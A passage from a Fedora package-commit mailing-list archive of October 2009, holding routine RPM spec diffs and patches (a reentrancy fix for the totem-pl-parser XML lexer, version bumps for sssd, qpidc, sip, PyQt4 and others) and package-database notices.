-	      lexbuf_pos += 6;
+	      lexer->lexbuf_pos += 6;
 	      return T_DOCTYPE_START;
 	    } else {
 	      return T_ERROR;
 	    }
 	    break;
 	  case '[':
-	    lexbuf_pos++;
-	    if (strncmp(lexbuf + lexbuf_pos, "CDATA[", 6) == 0) {
+	    lexer->lexbuf_pos++;
+	    if (strncmp(lexer->lexbuf + lexer->lexbuf_pos, "CDATA[", 6) == 0) {
 	      strncpy (tok + tok_pos, "[CDATA[", 7); /* FIXME */
-	      lexbuf_pos += 6;
-	      lex_mode = CDATA;
+	      lexer->lexbuf_pos += 6;
+	      lexer->lex_mode = CDATA;
 	      return T_CDATA_START;
 	    } else{
 	      return T_ERROR;
@@ -369,11 +361,11 @@
 	case STATE_T_TI_STOP:
 	  if (c == '>') {
 	    tok[tok_pos] = c;
-	    lexbuf_pos++;
+	    lexer->lexbuf_pos++;
 	    tok_pos++; /* FIXME */
 	    tok[tok_pos] = '\0';
-	    if (!in_comment)
-	      lex_mode = DATA;
+	    if (!lexer->in_comment)
+	      lexer->lex_mode = DATA;
 	    return T_TI_STOP;
 	  } else {
 	    tok[tok_pos] = '\0';
@@ -387,13 +379,13 @@
 	  case '-':
 	    tok[tok_pos] = c;
 	    tok_pos++;
-	    lexbuf_pos++;
+	    lexer->lexbuf_pos++;
 	    state = STATE_T_C_STOP;
 	    break;
 	  default:
 	    tok[tok_pos] = c;
 	    tok_pos++;
-	    lexbuf_pos++;
+	    lexer->lexbuf_pos++;
 	    state = STATE_IDENT;
 	  }
 	  break;
@@ -404,21 +396,21 @@
 	  case '>':
 	    tok[tok_pos] = c;
 	    tok_pos++;
-	    lexbuf_pos++;
+	    lexer->lexbuf_pos++;
 	    tok[tok_pos] = '\0'; /* FIX ME */
 	    if (strlen(tok) != 3) {
 	      tok[tok_pos - 3] = '\0';
-	      lexbuf_pos -= 3;
+	      lexer->lexbuf_pos -= 3;
 	      return T_IDENT;
 	    } else {
-	      in_comment = 0;
+	      lexer->in_comment = 0;
 	      return T_C_STOP;
 	    }
 	    break;
 	  default:
 	    tok[tok_pos] = c;
 	    tok_pos++;
-	    lexbuf_pos++;
+	    lexer->lexbuf_pos++;
 	    state = STATE_IDENT;
 	  }
 	  break;
@@ -426,7 +418,7 @@
 	  /* T_STRING (single quotes) */
 	case STATE_T_STRING_SINGLE:
 	  tok[tok_pos] = c;
-	  lexbuf_pos++;
+	  lexer->lexbuf_pos++;
 	  if (c == '\'') { /* " */
 	    tok[tok_pos] = '\0'; /* FIXME */
 	    return T_STRING;
@@ -453,19 +445,19 @@
 	  case '?':
 	    tok[tok_pos] = c;
 	    tok_pos++;
-	    lexbuf_pos++;
+	    lexer->lexbuf_pos++;
 	    state = STATE_T_TI_STOP;
 	    break;
 	  case '-':
 	    tok[tok_pos] = c;
 	    tok_pos++;
-	    lexbuf_pos++;
+	    lexer->lexbuf_pos++;
 	    state = STATE_T_DASHDASH;
 	    break;
 	  default:
 	    tok[tok_pos] = c;
 	    tok_pos++;
-	    lexbuf_pos++;
+	    lexer->lexbuf_pos++;
 	  }
 	  break;
 	default:
@@ -479,12 +471,12 @@
         {
         case '<':
 	  tok[tok_pos] = '\0';
-	  lex_mode = NORMAL;
+	  lexer->lex_mode = NORMAL;
 	  return T_DATA;
 	default:
 	  tok[tok_pos] = c;
 	  tok_pos++;
-	  lexbuf_pos++;
+	  lexer->lexbuf_pos++;
 	}
 	break;
 
@@ -492,32 +484,32 @@
         switch (c)
         {
 	case ']':
-	  if (strncmp(lexbuf + lexbuf_pos, "]]>", 3) == 0) {
-	    lexbuf_pos += 3;
-	    lex_mode = DATA;
+	  if (strncmp(lexer->lexbuf + lexer->lexbuf_pos, "]]>", 3) == 0) {
+	    lexer->lexbuf_pos += 3;
+	    lexer->lex_mode = DATA;
 	    return T_CDATA_STOP;
 	  } else {
 	    tok[tok_pos] = c;
 	    tok_pos++;
-	    lexbuf_pos++;
+	    lexer->lexbuf_pos++;
 	  }
 	  break;
 	default:
 	  tok[tok_pos] = c;
 	  tok_pos++;
-	  lexbuf_pos++;
+	  lexer->lexbuf_pos++;
 	}
 	break;
       }
     }
     lprintf ("loop done tok_pos = %d, tok_size=%d, lexbuf_pos=%d, lexbuf_size=%d\n", 
-	     tok_pos, tok_size, lexbuf_pos, lexbuf_size);
+	     tok_pos, tok_size, lexer->lexbuf_pos, lexer->lexbuf_size);
 
     /* pb */
     if (tok_pos >= tok_size) {
       lprintf("token buffer is too little\n");
     } else {
-      if (lexbuf_pos >= lexbuf_size) {
+      if (lexer->lexbuf_pos >= lexer->lexbuf_size) {
 				/* Terminate the current token */
 	tok[tok_pos] = '\0';
 	switch (state) {


Index: totem-pl-parser.spec
===================================================================
RCS file: /cvs/pkgs/rpms/totem-pl-parser/devel/totem-pl-parser.spec,v
retrieving revision 1.47
retrieving revision 1.48
diff -u -p -r1.47 -r1.48
--- totem-pl-parser.spec	29 Sep 2009 15:34:54 -0000	1.47
+++ totem-pl-parser.spec	15 Oct 2009 13:22:41 -0000	1.48
@@ -1,6 +1,6 @@
 Name:		totem-pl-parser
 Version:	2.28.1
-Release:	1%{?dist}
+Release:	2%{?dist}
 Summary:	Totem Playlist Parser library
 
 Group:		System Environment/Libraries
@@ -16,6 +16,9 @@ BuildRequires:	libxml2-devel
 BuildRequires:	gettext
 BuildRequires:	perl(XML::Parser) intltool
 
+# https://bugzilla.gnome.org/show_bug.cgi?id=572705
+Patch0:		reentrant.patch
+
 %description
 A library to parse and save playlists, as used in music and movie players.
 
@@ -34,7 +37,7 @@ developing applications that use %{name}
 
 %prep
 %setup -q
-
+%patch0 -p1 -b .reentrant
 
 %build
 %configure --enable-static=no
@@ -67,6 +70,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_datadir}/gtk-doc/html/totem-pl-parser
 
 %changelog
+* Thu Oct 15 2009 Bastien Nocera <bnocera at redhat.com> 2.28.1-2
+- Fix crasher when parsing multiple XML-ish playlists in Rhythmbox
+
 * Tue Sep 29 2009 Bastien Nocera <bnocera at redhat.com> 2.28.1-1
 - Update to 2.28.1
 



From pkgdb at fedoraproject.org  Thu Oct 15 13:23:54 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 15 Oct 2009 13:23:54 +0000
Subject: [pkgdb] gcc: koushalkanna has requested watchcommits
Message-ID: <20091015132354.E1AEA10F87F@bastion2.fedora.phx.redhat.com>

koushalkanna has requested the watchcommits acl on gcc (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/gcc



From pkgdb at fedoraproject.org  Thu Oct 15 13:24:13 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 15 Oct 2009 13:24:13 +0000
Subject: [pkgdb] gcc: koushalkanna has given up watchcommits
Message-ID: <20091015132413.3745A10F87F@bastion2.fedora.phx.redhat.com>

koushalkanna has given up the watchcommits acl on gcc (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/gcc



From sgallagh at fedoraproject.org  Thu Oct 15 13:26:30 2009
From: sgallagh at fedoraproject.org (Stephen Gallagher)
Date: Thu, 15 Oct 2009 13:26:30 +0000 (UTC)
Subject: rpms/sssd/F-12 sssd.spec,1.23,1.24
Message-ID: <20091015132630.A479211C00DB@cvs1.fedora.phx.redhat.com>

Author: sgallagh

Update of /cvs/pkgs/rpms/sssd/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv880

Modified Files:
	sssd.spec 
Log Message:
Fix missing file permissions for sssd-clients



Index: sssd.spec
===================================================================
RCS file: /cvs/pkgs/rpms/sssd/F-12/sssd.spec,v
retrieving revision 1.23
retrieving revision 1.24
diff -u -p -r1.23 -r1.24
--- sssd.spec	13 Oct 2009 20:37:15 -0000	1.23
+++ sssd.spec	15 Oct 2009 13:26:30 -0000	1.24
@@ -3,7 +3,7 @@
 
 Name: sssd
 Version: 0.6.1
-Release: 1%{?dist}
+Release: 2%{?dist}
 Group: Applications/System
 Summary: System Security Services Daemon
 
@@ -163,6 +163,7 @@ rm -rf $RPM_BUILD_ROOT
 %{?fedora:%{python_sitelib}/*.egg-info}
 
 %files client
+%defattr(-,root,root,-)
 /%{_lib}/libnss_sss.so.2
 /%{_lib}/security/pam_sss.so
 %{_mandir}/man8/pam_sss.8*
@@ -188,6 +189,9 @@ if [ $1 -ge 1 ] ; then
 fi
 
 %changelog
+* Thu Oct 15 2009 Stephen Gallagher <sgallagh at redhat.com> - 0.6.1-2
+- Fix missing file permissions for sssd-clients
+
 * Tue Oct 13 2009 Stephen Gallagher <sgallagh at redhat.com> - 0.6.1-1
 - Add SSSDConfig API
 - Update polish translation for 0.6.0



From sgallagh at fedoraproject.org  Thu Oct 15 13:26:44 2009
From: sgallagh at fedoraproject.org (Stephen Gallagher)
Date: Thu, 15 Oct 2009 13:26:44 +0000 (UTC)
Subject: rpms/sssd/devel sssd.spec,1.23,1.24
Message-ID: <20091015132644.5BC7411C00DB@cvs1.fedora.phx.redhat.com>

Author: sgallagh

Update of /cvs/pkgs/rpms/sssd/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1065

Modified Files:
	sssd.spec 
Log Message:
Fix missing file permissions for sssd-clients



Index: sssd.spec
===================================================================
RCS file: /cvs/pkgs/rpms/sssd/devel/sssd.spec,v
retrieving revision 1.23
retrieving revision 1.24
diff -u -p -r1.23 -r1.24
--- sssd.spec	13 Oct 2009 20:25:50 -0000	1.23
+++ sssd.spec	15 Oct 2009 13:26:44 -0000	1.24
@@ -3,7 +3,7 @@
 
 Name: sssd
 Version: 0.6.1
-Release: 1%{?dist}
+Release: 2%{?dist}
 Group: Applications/System
 Summary: System Security Services Daemon
 
@@ -163,6 +163,7 @@ rm -rf $RPM_BUILD_ROOT
 %{?fedora:%{python_sitelib}/*.egg-info}
 
 %files client
+%defattr(-,root,root,-)
 /%{_lib}/libnss_sss.so.2
 /%{_lib}/security/pam_sss.so
 %{_mandir}/man8/pam_sss.8*
@@ -188,6 +189,9 @@ if [ $1 -ge 1 ] ; then
 fi
 
 %changelog
+* Thu Oct 15 2009 Stephen Gallagher <sgallagh at redhat.com> - 0.6.1-2
+- Fix missing file permissions for sssd-clients
+
 * Tue Oct 13 2009 Stephen Gallagher <sgallagh at redhat.com> - 0.6.1-1
 - Add SSSDConfig API
 - Update polish translation for 0.6.0



From rdieter at fedoraproject.org  Thu Oct 15 13:27:40 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Thu, 15 Oct 2009 13:27:40 +0000 (UTC)
Subject: rpms/arora/devel arora.spec,1.23,1.24
Message-ID: <20091015132740.BC6F011C00DB@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/arora/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1422

Modified Files:
	arora.spec 
Log Message:
* Thu Oct 15 2009 Rex Dieter <rdieter at fedoraproject.org> - 0.10.1-2
- add dep on qt4 version built against



Index: arora.spec
===================================================================
RCS file: /cvs/pkgs/rpms/arora/devel/arora.spec,v
retrieving revision 1.23
retrieving revision 1.24
diff -u -p -r1.23 -r1.24
--- arora.spec	6 Oct 2009 10:39:24 -0000	1.23
+++ arora.spec	15 Oct 2009 13:27:40 -0000	1.24
@@ -1,6 +1,6 @@
 Name:           arora
 Version:        0.10.1
-Release:        1%{?dist}
+Release:        2%{?dist}
 Summary:        A cross platform web browser
 
 Group:          Applications/Internet
@@ -17,6 +17,7 @@ BuildRequires:  qt4-devel >= 4.4.0
 # for gnome default app path
 BuildRequires:  control-center-devel
 
+Requires: qt4%{?_isa} >= %{_qt4_version}
 
 %description
 Arora is a simple, cross platform web browser based on the QtWebKit engine.
@@ -98,6 +99,9 @@ gtk-update-icon-cache %{_datadir}/icons/
 
 
 %changelog
+* Thu Oct 15 2009 Rex Dieter <rdieter at fedoraproject.org> - 0.10.1-2
+- add dep on qt4 version built against
+
 * Tue Oct 06 2009 Jaroslav Reznik <jreznik at redhat.com> - 0.10.1-1
 - Update to 0.10.1
 



From nsantos at fedoraproject.org  Thu Oct 15 13:31:03 2009
From: nsantos at fedoraproject.org (Nuno Santos)
Date: Thu, 15 Oct 2009 13:31:03 +0000 (UTC)
Subject: rpms/qpidc/F-11 .cvsignore, 1.23, 1.24 qpidc.spec, 1.88,
	1.89 sources, 1.45, 1.46
Message-ID: <20091015133103.3142311C00DB@cvs1.fedora.phx.redhat.com>

Author: nsantos

Update of /cvs/extras/rpms/qpidc/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2211

Modified Files:
	.cvsignore qpidc.spec sources 
Log Message:
Rebased to svn rev 825492


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/qpidc/F-11/.cvsignore,v
retrieving revision 1.23
retrieving revision 1.24
diff -u -p -r1.23 -r1.24
--- .cvsignore	21 Sep 2009 20:27:33 -0000	1.23
+++ .cvsignore	15 Oct 2009 13:31:02 -0000	1.24
@@ -1 +1,2 @@
-qpidc-0.5.817349.tar.gz
+qpidc-0.5.825492.tar.gz
+rhm-0.5.3641.tar.gz


Index: qpidc.spec
===================================================================
RCS file: /cvs/extras/rpms/qpidc/F-11/qpidc.spec,v
retrieving revision 1.88
retrieving revision 1.89
diff -u -p -r1.88 -r1.89
--- qpidc.spec	30 Sep 2009 21:23:20 -0000	1.88
+++ qpidc.spec	15 Oct 2009 13:31:02 -0000	1.89
@@ -7,12 +7,12 @@
 %{!?ruby_sitelib: %define ruby_sitelib %(ruby -rrbconfig  -e 'puts Config::CONFIG["sitelibdir"]')}
 %{!?ruby_sitearch: %define ruby_sitearch %(ruby -rrbconfig -e 'puts Config::CONFIG["sitearchdir"]')}
 
-%define qpid_svnrev 819819
+%define qpid_svnrev 825492
 %define rhm_svnrev 3641
 
 Name:           qpidc
 Version:        0.5.%{qpid_svnrev}
-Release:        2%{?dist}
+Release:        1%{?dist}
 Summary:        Libraries for Qpid C++ client applications
 Group:          System Environment/Libraries
 License:        ASL 2.0
@@ -519,6 +519,9 @@ fi
 %postun -n qmf -p /sbin/ldconfig
 
 %changelog
+* Thu Oct 15 2009 Nuno Santos <nsantos at redhat.com> - 0.5.825492-1
+- Rebased to svn rev 825492
+
 * Tue Sep 29 2009 Nuno Santos <nsantos at redhat.com> - 0.5.819819-1
 - Rebased to svn rev 819819 for F12 beta
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/qpidc/F-11/sources,v
retrieving revision 1.45
retrieving revision 1.46
diff -u -p -r1.45 -r1.46
--- sources	30 Sep 2009 19:59:04 -0000	1.45
+++ sources	15 Oct 2009 13:31:02 -0000	1.46
@@ -1,2 +1,2 @@
-3f1f75be166b0d752a9132622d5742a8  qpidc-0.5.819819.tar.gz
+a72b3660af43ccd0b989f630c9debf9a  qpidc-0.5.825492.tar.gz
 5f95f4583d345e5287457476e81d2f5b  rhm-0.5.3641.tar.gz



From dnovotny at fedoraproject.org  Thu Oct 15 13:36:18 2009
From: dnovotny at fedoraproject.org (Daniel Novotny)
Date: Thu, 15 Oct 2009 13:36:18 +0000 (UTC)
Subject: rpms/amanda/F-11 amanda-2.6.0p2-builderr.patch, NONE,
	1.1 amanda.spec, 1.60, 1.61
Message-ID: <20091015133618.C1BC511C00DB@cvs1.fedora.phx.redhat.com>

Author: dnovotny

Update of /cvs/extras/rpms/amanda/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4034

Modified Files:
	amanda.spec 
Added Files:
	amanda-2.6.0p2-builderr.patch 
Log Message:
fix build error


amanda-2.6.0p2-builderr.patch:
 Makefile.am |    1 -
 1 file changed, 1 deletion(-)

--- NEW FILE amanda-2.6.0p2-builderr.patch ---
diff -up amanda-2.6.0p2/man/Makefile.am.builderr amanda-2.6.0p2/man/Makefile.am
--- amanda-2.6.0p2/man/Makefile.am.builderr	2009-07-22 12:09:46.000000000 +0200
+++ amanda-2.6.0p2/man/Makefile.am	2009-07-22 12:10:03.000000000 +0200
@@ -31,7 +31,6 @@ SERVER_MAN_PAGES =  amadmin.8 \
 		    amverifyrun.8 \
 		    amserverconfig.8 \
 		    amaddclient.8 \
-		    amcheckdump.8 \
 		    amcrypt.8 \
 		    amaespipe.8 \
 		    amgpgcrypt.8 \


Index: amanda.spec
===================================================================
RCS file: /cvs/extras/rpms/amanda/F-11/amanda.spec,v
retrieving revision 1.60
retrieving revision 1.61
diff -u -p -r1.60 -r1.61
--- amanda.spec	15 Oct 2009 13:07:36 -0000	1.60
+++ amanda.spec	15 Oct 2009 13:36:18 -0000	1.61
@@ -20,6 +20,8 @@ Patch2: amanda-2.6.0b2-xattrs.patch
 Patch3: amanda-2.6.0p2-tcpport.patch
 Patch4: amanda-2.6.0b3-lib.patch
 Patch5: amanda-2.6.0p2-pie.patch
+Patch6: amanda-2.6.0p2-builderr.patch
+
 License: BSD
 Group: Applications/System
 URL: http://www.amanda.org
@@ -91,6 +93,7 @@ be used to develop amanda applications.
 %patch3 -p1 -b .tcpport
 %patch4 -p1 -b .lib
 %patch5 -p1 -b .pie
+%patch6 -p1
 ./autogen
 
 %build
@@ -378,6 +381,7 @@ grep -l -E '^dumpuser[[:blank:]]*"amanda
 %changelog
 * Thu Oct 15 2009 Daniel Novotny <dnovotny at redhat.com> 2.6.0p2-9
 - add amanda user to group "tape" (#529159)
+- fix failed build (#510961)
 
 * Tue Apr 14 2009 Daniel Novotny <dnovotny at redhat.com> 2.6.0p2-8
 - fix #495724 (spec file fix, use "useradd -N" instead of "useradd -n") 



From rdieter at fedoraproject.org  Thu Oct 15 13:44:52 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Thu, 15 Oct 2009 13:44:52 +0000 (UTC)
Subject: rpms/sip/devel .cvsignore, 1.31, 1.32 sip.spec, 1.65, 1.66 sources, 
	1.32, 1.33
Message-ID: <20091015134452.8678E11C00DB@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/sip/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5744

Modified Files:
	.cvsignore sip.spec sources 
Log Message:
* Thu Oct 15 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.9.1-0.1.20091014
- sip-4.9.1-snapshot-20091014



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/sip/devel/.cvsignore,v
retrieving revision 1.31
retrieving revision 1.32
diff -u -p -r1.31 -r1.32
--- .cvsignore	15 Oct 2009 12:42:52 -0000	1.31
+++ .cvsignore	15 Oct 2009 13:44:51 -0000	1.32
@@ -1 +1 @@
-sip-4.9.tar.gz
+sip-4.9.1-snapshot-20091014.tar.gz


Index: sip.spec
===================================================================
RCS file: /cvs/pkgs/rpms/sip/devel/sip.spec,v
retrieving revision 1.65
retrieving revision 1.66
diff -u -p -r1.65 -r1.66
--- sip.spec	15 Oct 2009 12:42:52 -0000	1.65
+++ sip.spec	15 Oct 2009 13:44:51 -0000	1.66
@@ -2,10 +2,12 @@
 %{!?python_sitearch:%global python_sitearch %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib(1)")}
 %{!?python_inc:%global python_inc %(%{__python} -c "from distutils.sysconfig import get_python_inc; print get_python_inc(1)")}
 
+%define snap 20091014
+
 Summary: SIP - Python/C++ Bindings Generator
 Name: sip
-Version: 4.9
-Release: 1%{?dist}
+Version: 4.9.1
+Release: 0.1.%{snap}%{?dist}
 License: GPLv2 or GPLv3
 Group: Development/Tools
 Url: http://www.riverbankcomputing.com/software/sip/intro 
@@ -73,6 +75,9 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Thu Oct 15 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.9.1-0.1.20091014
+- sip-4.9.1-snapshot-20091014
+
 * Thu Oct 15 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.9-1
 - sip-4.9
 - License: GPLv2 or GPLv3


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/sip/devel/sources,v
retrieving revision 1.32
retrieving revision 1.33
diff -u -p -r1.32 -r1.33
--- sources	15 Oct 2009 12:42:52 -0000	1.32
+++ sources	15 Oct 2009 13:44:51 -0000	1.33
@@ -1 +1 @@
-caf83cde684dbf7aeeb9c4447d54b98d  sip-4.9.tar.gz
+eddc6efffd5e97c94fb4d07fb3457253  sip-4.9.1-snapshot-20091014.tar.gz



From rdieter at fedoraproject.org  Thu Oct 15 13:49:01 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Thu, 15 Oct 2009 13:49:01 +0000 (UTC)
Subject: rpms/PyQt4/devel .cvsignore, 1.13, 1.14 PyQt4.spec, 1.31,
	1.32 sources, 1.13, 1.14
Message-ID: <20091015134901.B598F11C00DB@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/PyQt4/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6614

Modified Files:
	.cvsignore PyQt4.spec sources 
Log Message:
* Thu Oct 15 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.6.1-0.1.20091014
- PyQt4-4.6.1-snapshot-20091014 (#529192)



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/PyQt4/devel/.cvsignore,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- .cvsignore	28 Jul 2009 12:57:42 -0000	1.13
+++ .cvsignore	15 Oct 2009 13:49:01 -0000	1.14
@@ -1 +1 @@
-PyQt-x11-gpl-4.5.4.tar.gz
+PyQt-x11-gpl-4.6.1-snapshot-20091014.tar.gz


Index: PyQt4.spec
===================================================================
RCS file: /cvs/pkgs/rpms/PyQt4/devel/PyQt4.spec,v
retrieving revision 1.31
retrieving revision 1.32
diff -u -p -r1.31 -r1.32
--- PyQt4.spec	28 Jul 2009 12:57:42 -0000	1.31
+++ PyQt4.spec	15 Oct 2009 13:49:01 -0000	1.32
@@ -1,17 +1,18 @@
 
 # Fedora review: http://bugzilla.redhat.com/190189
 
+%define snap 20091014
+
 Summary: Python bindings for Qt4
 Name: 	 PyQt4
-Version: 4.5.4
-Release: 1%{?dist}
+Version: 4.6.1
+Release: 0.1.%{snap}%{?dist}
 
 # GPLv2 exceptions(see GPL_EXCEPTIONS*.txt)
 License: GPLv3 or GPLv2 with exceptions
 Group: 	 Development/Languages
 Url:     http://www.riverbankcomputing.com/software/pyqt/
-Source0: http://www.riverbankcomputing.com/static/Downloads/PyQt4/PyQt-x11-gpl-%{version}.tar.gz
-#Source0: http://www.riverbankcomputing.com/static/Downloads/PyQt4/PyQt-x11-gpl-%{version}-snapshot-%{snap}.tar.gz
+Source0: http://www.riverbankcomputing.com/static/Downloads/PyQt4/PyQt-x11-gpl-%{version}%{?snap:-snapshot-%{snap}}.tar.gz
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 Patch1:  PyQt-x11-gpl-4.4.4-64bit.patch
@@ -32,7 +33,7 @@ BuildRequires: python-devel
 %global python_sitelib  %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")
 %global python_sitearch %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib(1)")
 
-BuildRequires: sip-devel >= 4.8.2
+BuildRequires: sip-devel >= 4.9.1
 %global sip_ver %(sip -V 2>/dev/null | cut -d' ' -f1 | cut -d- -f1)
 %if "x%{?sip_ver}" != "x"
 # To be paranoid, could change >= to = -- Rex
@@ -137,6 +138,9 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Thu Oct 15 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.6.1-0.1.20091014
+- PyQt4-4.6.1-snapshot-20091014 (#529192)
+
 * Tue Jul 28 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.5.4-1
 - PyQt4-4.5.4
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/PyQt4/devel/sources,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- sources	28 Jul 2009 12:57:42 -0000	1.13
+++ sources	15 Oct 2009 13:49:01 -0000	1.14
@@ -1 +1 @@
-b721266d14c450dd7045025e042819ec  PyQt-x11-gpl-4.5.4.tar.gz
+8e4d1318b7860bdbee06e307cf705131  PyQt-x11-gpl-4.6.1-snapshot-20091014.tar.gz



From mclasen at fedoraproject.org  Thu Oct 15 13:56:28 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Thu, 15 Oct 2009 13:56:28 +0000 (UTC)
Subject: rpms/libgweather/F-12 better-weather-in-montreal.patch, NONE,
	1.1 libgweather.spec, 1.48, 1.49
Message-ID: <20091015135628.3A33F11C00DB@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/libgweather/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8211

Modified Files:
	libgweather.spec 
Added Files:
	better-weather-in-montreal.patch 
Log Message:
Better weather station for Montreal


better-weather-in-montreal.patch:
 Locations.xml.in |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE better-weather-in-montreal.patch ---
diff -Nur -x '*.orig' -x '*~' libgweather-2.28.0/data/Locations.xml.in libgweather-2.28.0.new/data/Locations.xml.in
--- libgweather-2.28.0/data/Locations.xml.in	2009-04-19 13:41:11.000000000 -0400
+++ libgweather-2.28.0.new/data/Locations.xml.in	2009-10-03 16:44:35.756942288 -0400
@@ -25892,7 +25892,7 @@
                The local name in French is "Montr?al".
             -->
           <_name>Montreal</_name>
-          <coordinates>45.500000 -73.583333</coordinates>
+          <coordinates>45.466667 -73.750000</coordinates>
           <location>
             <name>McTavish Automated Reporting Station</name>
             <code>CWTA</code>


Index: libgweather.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libgweather/F-12/libgweather.spec,v
retrieving revision 1.48
retrieving revision 1.49
diff -u -p -r1.48 -r1.49
--- libgweather.spec	22 Sep 2009 00:57:12 -0000	1.48
+++ libgweather.spec	15 Oct 2009 13:56:27 -0000	1.49
@@ -1,6 +1,6 @@
 Name:           libgweather
 Version:        2.28.0
-Release:        1%{?dist}
+Release:        2%{?dist}
 Summary:        A library for weather information
 
 Group:          System Environment/Libraries
@@ -22,6 +22,9 @@ BuildRequires:  autoconf automake libtoo
 # Patch from Ubuntu...
 Patch0: gettext-not-xml.patch
 
+# https://bugzilla.gnome.org/show_bug.cgi?id=591570
+Patch1: better-weather-in-montreal.patch
+
 %description
 libgweather is a library to access weather information from online
 services for numerous locations.
@@ -45,6 +48,7 @@ developing applications that use %{name}
 %prep
 %setup -q
 %patch0 -p1 -b .gettext
+%patch1 -p1 -b .montreal
 
 gtkdocize
 autoreconf -i -f
@@ -102,6 +106,9 @@ fi
 
 
 %changelog
+* Thu Oct 15 2009 Matthias Clasen <mclasen at redhat.com> 2.28.0-2
+- Pick a better weather station for Montreal
+
 * Mon Sep 21 2009 Matthias Clasen <mclasen at redhat.com> 2.28.0-1
 - Update to 2.28.0
 



From nsantos at fedoraproject.org  Thu Oct 15 13:58:21 2009
From: nsantos at fedoraproject.org (Nuno Santos)
Date: Thu, 15 Oct 2009 13:58:21 +0000 (UTC)
Subject: rpms/qpidc/F-11 .cvsignore, 1.24, 1.25 qpidc.spec, 1.89,
	1.90 sources, 1.46, 1.47
Message-ID: <20091015135821.276EE11C00DB@cvs1.fedora.phx.redhat.com>

Author: nsantos

Update of /cvs/extras/rpms/qpidc/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8765

Modified Files:
	.cvsignore qpidc.spec sources 
Log Message:
Rebased to svn rev 825492


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/qpidc/F-11/.cvsignore,v
retrieving revision 1.24
retrieving revision 1.25
diff -u -p -r1.24 -r1.25
--- .cvsignore	15 Oct 2009 13:31:02 -0000	1.24
+++ .cvsignore	15 Oct 2009 13:58:20 -0000	1.25
@@ -1,2 +1,2 @@
 qpidc-0.5.825492.tar.gz
-rhm-0.5.3641.tar.gz
+rhm-0.5.3670.tar.gz


Index: qpidc.spec
===================================================================
RCS file: /cvs/extras/rpms/qpidc/F-11/qpidc.spec,v
retrieving revision 1.89
retrieving revision 1.90
diff -u -p -r1.89 -r1.90
--- qpidc.spec	15 Oct 2009 13:31:02 -0000	1.89
+++ qpidc.spec	15 Oct 2009 13:58:20 -0000	1.90
@@ -8,7 +8,7 @@
 %{!?ruby_sitearch: %define ruby_sitearch %(ruby -rrbconfig -e 'puts Config::CONFIG["sitearchdir"]')}
 
 %define qpid_svnrev 825492
-%define rhm_svnrev 3641
+%define rhm_svnrev 3670
 
 Name:           qpidc
 Version:        0.5.%{qpid_svnrev}


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/qpidc/F-11/sources,v
retrieving revision 1.46
retrieving revision 1.47
diff -u -p -r1.46 -r1.47
--- sources	15 Oct 2009 13:31:02 -0000	1.46
+++ sources	15 Oct 2009 13:58:20 -0000	1.47
@@ -1,2 +1,2 @@
 a72b3660af43ccd0b989f630c9debf9a  qpidc-0.5.825492.tar.gz
-5f95f4583d345e5287457476e81d2f5b  rhm-0.5.3641.tar.gz
+7c8dc2d88b457d612da845f8d196b6ec  rhm-0.5.3670.tar.gz



From dwayne at fedoraproject.org  Thu Oct 15 14:05:34 2009
From: dwayne at fedoraproject.org (dwayne)
Date: Thu, 15 Oct 2009 14:05:34 +0000 (UTC)
Subject: rpms/translate-toolkit/devel .cvsignore, 1.18, 1.19 sources, 1.19, 
	1.20 translate-toolkit.spec, 1.35,
	1.36 translate-toolkit-1.4.0-bug1114-obsolete-msgctxt.patch, 1.1, NONE
Message-ID: <20091015140534.E669211C00DB@cvs1.fedora.phx.redhat.com>

Author: dwayne

Update of /cvs/pkgs/rpms/translate-toolkit/devel
